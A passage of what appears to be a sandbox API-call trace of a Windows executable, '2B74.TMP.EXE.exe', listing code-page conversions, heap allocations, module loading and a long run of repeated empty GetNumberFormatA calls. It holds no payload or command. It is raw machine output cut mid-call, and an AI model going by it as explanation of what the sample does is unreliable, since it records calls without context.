¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿu,\x11Oèþ\x18", lpUsedDefaultChar=0x0) returned 256 [0042.410] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.410] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdac, cbMultiByte=256, lpWideCharStr=0x18f508, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0042.410] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0042.410] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f2f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0042.410] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18fbac, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿu,\x11Oèþ\x18", lpUsedDefaultChar=0x0) returned 256 [0042.410] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x80) returned 0x35129e0 [0042.410] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4c2bc0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2b74.tmp.exe.exe")) returned 0x36 [0042.410] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0xc4) returned 0x3516278 [0042.410] RtlInitializeSListHead (in: ListHead=0x4c2ad8 | out: ListHead=0x4c2ad8) [0042.410] GetLastError () returned 0x0 [0042.410] SetLastError (dwErrCode=0x0) [0042.410] GetEnvironmentStringsW () returned 0x3516348* [0042.410] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xaca) returned 0x3516e20 [0042.411] FreeEnvironmentStringsW (penv=0x3516348) returned 1 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x98) returned 0x35178f8 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x3e) returned 0x3517998 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x6c) returned 0x35179e0 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x6e) returned 0x3517a58 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x78) returned 0x3512b98 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x62) returned 0x3517ad0 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x2e) returned 0x3517b40 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x48) returned 0x3517b78 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x28) returned 0x3517bc8 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x1a) returned 0x3515f40 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x4a) returned 0x3517bf8 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x72) returned 0x3512c18 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x30) returned 0x3517c50 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x2e) returned 0x3517c88 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x1c) returned 0x3515f68 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0xd2) returned 0x3517cc0 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x7c) returned 0x3517da0 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x36) returned 0x3517e28 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x3a) returned 0x3517e68 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x90) returned 0x3517eb0 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x24) returned 0x3517f48 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x30) returned 0x3517f78 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x36) returned 0x3516348 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x48) returned 0x3516388 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x52) returned 0x35163d8 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x3c) returned 0x3516438 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x82) returned 0x3516480 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x2e) returned 0x3517fb0 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x1e) returned 0x3515f90 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x2c) returned 0x3516510 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x54) returned 0x3516548 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x52) returned 0x35165a8 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x2a) returned 0x3516608 [0042.411] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x3c) returned 0x3518000 [0042.412] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x54) returned 0x3516640 [0042.412] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x24) returned 0x35166a0 [0042.412] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x30) returned 0x35166d0 [0042.412] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x8c) returned 0x3516708 [0042.412] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x3516e20 | out: hHeap=0x3500000) returned 1 [0042.412] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x800) returned 0x35167a0 [0042.412] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0042.412] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49a8b9) returned 0x0 [0042.412] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2B74.TMP.EXE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0042.412] lstrcatW (in: lpString1="", lpString2="kernel32.dll" | out: lpString1="kernel32.dll") returned="kernel32.dll" [0042.413] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0042.420] lstrlenA (lpString="") returned 0 [0042.420] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.421] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.421] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.421] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.421] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.421] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.421] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.421] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.421] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.421] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.421] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.421] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.421] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.421] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.422] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.423] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, lpNumberStr=0x0, cchNumber=0 | out: lpNumberStr=0x0) returned 0 [0042.424] GetNumberFormatA (in: Locale=0x0, dwFlags=0x0, lpValue=0x0, lpFormat=0x0, 